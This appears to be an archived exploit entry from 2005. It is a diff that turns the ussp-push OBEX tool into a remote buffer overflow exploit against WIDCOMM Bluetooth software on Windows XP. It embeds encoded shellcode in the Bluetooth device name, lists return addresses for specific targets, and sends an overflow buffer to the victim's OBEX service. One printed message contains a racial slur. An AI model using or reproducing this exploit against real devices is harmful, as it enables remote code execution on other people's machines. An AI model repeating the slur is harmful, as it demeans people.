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# Title : WIDCOMM Bluetooth Software < 3.0 Remote Buffer Overflow Exploit
# Published : 2005-12-04
# Author : Kevin Finisterre
# Previous Title : Oracle 9.2.0.1 Universal XDB HTTP Pass Overflow Exploit
# Next Title : sobexsrv 1.0.0_pre3 Bluetooth syslog() Remote Format String Exploit
--- ussp-push-0.4/obex_main.c 2005-06-01 18:32:59.000000000 -0400
+++ ussp-push-0.4-kf/obex_main.c 2005-12-03 11:49:32.000000000 -0500
@@ -1,4 +1,10 @@
/*
+ http://www.digitalmunition.com
+ Moded by KF (kf_lists[at]digitalmunition[dot]com) to exploit the Widcomm Overflows from PenTest.
+ http://www.pentest.co.uk/documents/ptl-2004-03.html
+
+*/
+/*
* UNrooted.net example code
*
* Most of these functions are just rips from the Affix Bluetooth project OBEX
@@ -62,7 +68,10 @@
#include "obex_socket.h"
-#define UPUSH_APPNAME "ussp-push v0.4"
+#include <bluetooth/hci.h>
+#include <bluetooth/hci_lib.h>
+
+#define UPUSH_APPNAME "BluePIMped v0.1"
#define BT_SERVICE "OBEX"
#define OBEX_PUSH 5
@@ -316,6 +325,9 @@
switch (event) {
case OBEX_EV_PROGRESS:
printf("Made some progress...n");
+ sleep(3);
+ printf("Peace nigga...n");
+ exit(0);
break;
case OBEX_EV_ABORT:
@@ -382,9 +394,7 @@
name = remote;
name_len = (strlen(name)+1)<<1;
- if( (namebuf = g_malloc(name_len)) ) {
- OBEX_CharToUnicode(namebuf, name, name_len);
- }
+ namebuf = name; // Thanks Mark! If you had not mentioned client side unicode i'd still be stuck messing with venetian shellcode.
buf = easy_readfile(path, &file_size);
if(buf == NULL) {
@@ -424,6 +434,24 @@
return err;
}
+static void set_device_name(int ctl, int hdev, char *opt) // Johnh as usual...
+{
+ int s = hci_open_dev(hdev);
+
+ if (s < 0) {
+ fprintf(stderr, "Can't open device hci%d: %s (%d)n",
+ hdev, strerror(errno), errno);
+ exit(1);
+ }
+ if (opt) {
+ if (hci_write_local_name(s, opt, 2000) < 0) {
+ fprintf(stderr, "Can't change local name on hci%d: %s (%d)n",
+ hdev, strerror(errno), errno);
+ exit(1);
+ }
+ }
+
+}
/*
* That's all there is to it. With it all setup like this all I have to do
@@ -434,19 +462,87 @@
int main( int argc, char **argv )
{
- if ( argc != 4 ) {
- printf("%snn"
- "Usage: %s {DEVICE, BTADDR@BTCHAN} LFILE RFILEnn"
- "tDEVICE = RFCOMM TTY device filen"
- "tBTADDR@BTCHAN = BlueTooth address/name and OBEX channeln"
- "tLFILE = Local file pathn"
- "tRFILE = Remote file namenn",
- UPUSH_APPNAME, argv[0]);
+/*
+ The following may be necessary in hcid.conf to prevent the pairing prompts.
+
+ # Authentication and Encryption (Security Mode 3)
+ auth disable;
+ encrypt disable;
+*/
+
+ struct
+ {
+ char *os;
+ u_long ret;
+ }
+ targets[] =
+ {
+ { "[ XP Pro SP0 - Ambicom btysb1.4.2w.zip 1.4.2 Build 10 ]", 0x01abf74e },
+ { "[ XP Pro SP0 - Actiontec Bluetooth Software (ver 1.1 cd label) ]", 0x019bf74e },
+ { "[ XP Pro SP0 - Belkin Bluetooth Software 1.4.2 Build 10 ]", 0x019bf74e },
+ { "[ XP Pro SP1a - Belkin Bluetooth Software 1.4.2 Build 10 ]", 0x0197f74e },
+ { "[ XP Home SP1a (and Pro?) - Belkin Bluetooth Software 1.4.2 Build 10 ]", 0x0199f74e },
+ { "[ Crash ]", 0x41424344 },
+ }, v;
+
+ if ( argc != 3 ) {
+ printf("%snUsage: %s {DEVICE, BTADDR@BTCHAN} LFILE RFILEnntDEVICE = RFCOMM TTY device filentBTADDR@BTCHAN = BlueTooth address/name and OBEX channelntTARGET = Target numbern",UPUSH_APPNAME,argv[0]);
+ printf("Types:n");
+ int i;
+ for(i = 0; i < sizeof(targets)/sizeof(v); i++)
+ printf("%d [0x%.8x]: %sn", i, targets[i].ret, targets[i].os);
+
return( -1 );
}
- printf( "pushing file %sn", argv[2] );
- if ( obex_push( (void *)argv[1], argv[2], argv[3] ) != 0 ) {
+ /* http://www.edup.tudelft.nl/~bjwever/ - w32_popup_ExitThread.c */
+ /* Size=224 Encoder=ShikataGaNai http://metasploit.com */
+ /* CATS: ALL YOUR BLUETOOTH ARE BELONG TO US. */
+ /* this still crashes the BTStackServer.exe... but oh well */
+ unsigned char scode[] =
+ "x2bxc9xdaxcdxd9x74x24xf4x5fxb1x33xb8xd1xf7x19xb7"
+ "x31x47x15x83xc7x04x03x96xe6xfbx42xe4x38x3cxc8x9f"
+ "x7bx8cx9axdfx77x67xecxc3x2axfcx65xf3x5cx6fx1ax03"
+ "x9dx07xd1x31xb3xb3x7dx40xb8x5ex0cxfex85xd0x57x16"
+ "x07xfaxcexe6xf8xfbx67x09x71x3ex46x07xd0x29xafxa7"
+ "xd5xa9xf3xe6x81xfaxc9xe8xc1xd8x2dxe8x11x62x62xa4"
+ "x31x3dx35x61x60x9dx8bxc5xd1x98x5fx9ax96x76x28x04"
+ "x68x25xedx64x28x8cxa1x2bxe2x49x1axe7xb5x75x0fx54"
+ "x64x76xfdxe1x9ax7axc8xefxb3x8cxcax0fx44xa2x0ax5f"
+ "xcdx39x31x36xd0x83x7cx20xeax03x81xb0xbdx54x0axf5"
+ "x7dxd0x58xf0x05xe7x8axa8x7exb5x6ax4dx6bx0bxabx7c"
+ "xa2x2dxa0x4axbexafx58x83x41x6ex6bxf0x11x70xb3x73"
+ "xa9x06xcdx42xf5x9cxdbxeex82x05x38x0fx7exdfxcbx03"
+ "xcbxabx96x07xcax40xadx33x47x97x5ax64x09x67x7ax9a";
+
+ set_device_name(0,0,scode);
+ //printf("RENAME DONE: SET NEW NAME TO %sn",scode);
+ //printf( "pushing file.n");
+
+ char buf[3000];
+ memset(buf,' ',sizeof(buf));
+ memset(buf,'Z',3); // Sometimes u need 3 z's
+
+ int type = atoi(argv[2]);
+ if(type)
+ {
+ printf("[-] Selected target:n");
+ printf(" %d [0x%.8x]: %sn", type, targets[type].ret, targets[type].os);
+ }
+
+ int x;
+ for(x=0; x<=122; x=x+1)
+ {
+ memcpy(buf+3+(x*4), (unsigned char *) &targets[type].ret, 4);
+ }
+ // Populate HKEY_LOCAL_MACHINESOFTWAREWidcommBTConfigDevices<bdaddr>Name with shellcode
+ if ( obex_push( (void *)argv[1], "/etc/hosts", "YouAreBeingPwnedViaBlueTooth") != 0 ) {
+ printf( "errorn" );
+ return( -1 );
+ }
+ printf("nsleeping 3 seconds before triggering the shellcoden");
+ sleep(3);
+ if ( obex_push( (void *)argv[1], "/etc/hosts", buf ) != 0 ) {
printf( "errorn" );
return( -1 );
}
// www.Syue.com [2005-12-04]